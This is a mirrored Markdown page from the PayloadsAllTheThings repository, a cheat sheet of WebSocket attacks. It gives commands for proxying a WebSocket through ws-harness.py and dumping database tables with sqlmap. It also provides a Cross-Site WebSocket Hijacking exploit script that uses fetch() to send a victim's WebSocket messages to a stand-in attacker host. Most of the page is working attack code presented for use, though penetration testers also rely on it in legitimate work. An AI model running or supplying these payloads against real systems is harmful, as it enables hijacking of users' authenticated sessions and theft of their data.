mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-13 06:42:47 +00:00
66 lines
2.5 KiB
Markdown
66 lines
2.5 KiB
Markdown
# Web Sockets Attacks
|
|
|
|
> The WebSocket protocol allows a bidirectional and full-duplex communication between a client and a server
|
|
|
|
## Summary
|
|
|
|
* [Tools](#tools)
|
|
* [Using ws-harness.py](#using-ws-harness-py)
|
|
|
|
## Tools
|
|
|
|
* [ws-harness.py](https://gist.githubusercontent.com/mfowl/ae5bc17f986d4fcc2023738127b06138/raw/e8e82467ade45998d46cef355fd9b57182c3e269/ws.harness.py)
|
|
|
|
## Using ws-harness.py
|
|
|
|
Start ws-harness to listen on a web-socket, and specify a message template to send to the endpoint.
|
|
|
|
```powershell
|
|
python ws-harness.py -u "ws://dvws.local:8080/authenticate-user" -m ./message.txt
|
|
```
|
|
|
|
The content of the message should contains the **[FUZZ]** keyword.
|
|
|
|
```json
|
|
{"auth_user":"dGVzda==", "auth_pass":"[FUZZ]"}
|
|
```
|
|
|
|
Then you can use any tools against the newly created web service, working as a proxy and tampering on the fly the content of message sent thru the websocket.
|
|
|
|
```python
|
|
sqlmap -u http://127.0.0.1:8000/?fuzz=test --tables --tamper=base64encode --dump
|
|
```
|
|
|
|
## Cross-Site WebSocket Hijacking (CSWSH)
|
|
|
|
If the WebSocket handshake is not correctly protected using a CSRF token or a
|
|
nonce, it's possible to use the authenticated WebSocket of a user on an
|
|
attacker's controlled site because the cookies are automatically sent by the
|
|
browser. This attack is called Cross-Site WebSocket Hijacking (CSWSH).
|
|
|
|
Example exploit, hosted on an attacker's server, that exfiltrates the received
|
|
data from the WebSocket to the attacker:
|
|
|
|
```html
|
|
<script>
|
|
ws = new WebSocket('wss://vulnerable.example.com/messages');
|
|
ws.onopen = function start(event) {
|
|
websocket.send("HELLO");
|
|
}
|
|
ws.onmessage = function handleReply(event) {
|
|
fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});
|
|
}
|
|
ws.send("Some text sent to the server");
|
|
</script>
|
|
```
|
|
|
|
You have to adjust the code to your exact situation. E.g. if your web
|
|
application uses a `Sec-WebSocket-Protocol` header in the handshake request,
|
|
you have to add this value as a 2nd parameter to the `WebSocket` function call
|
|
in order to add this header.
|
|
|
|
## References
|
|
|
|
- [HACKING WEB SOCKETS: ALL WEB PENTEST TOOLS WELCOMED by Michael Fowl | Mar 5, 2019](https://www.vdalabs.com/2019/03/05/hacking-web-sockets-all-web-pentest-tools-welcomed/)
|
|
- [Hacking with WebSockets - Qualys - Mike Shema, Sergey Shekyan, Vaagn Toukharian](https://media.blackhat.com/bh-us-12/Briefings/Shekyan/BH_US_12_Shekyan_Toukharian_Hacking_Websocket_Slides.pdf)
|
|
- [Mini WebSocket CTF - January 27, 2020 - Snowscan](https://snowscan.io/bbsctf-evilconneck/#)
|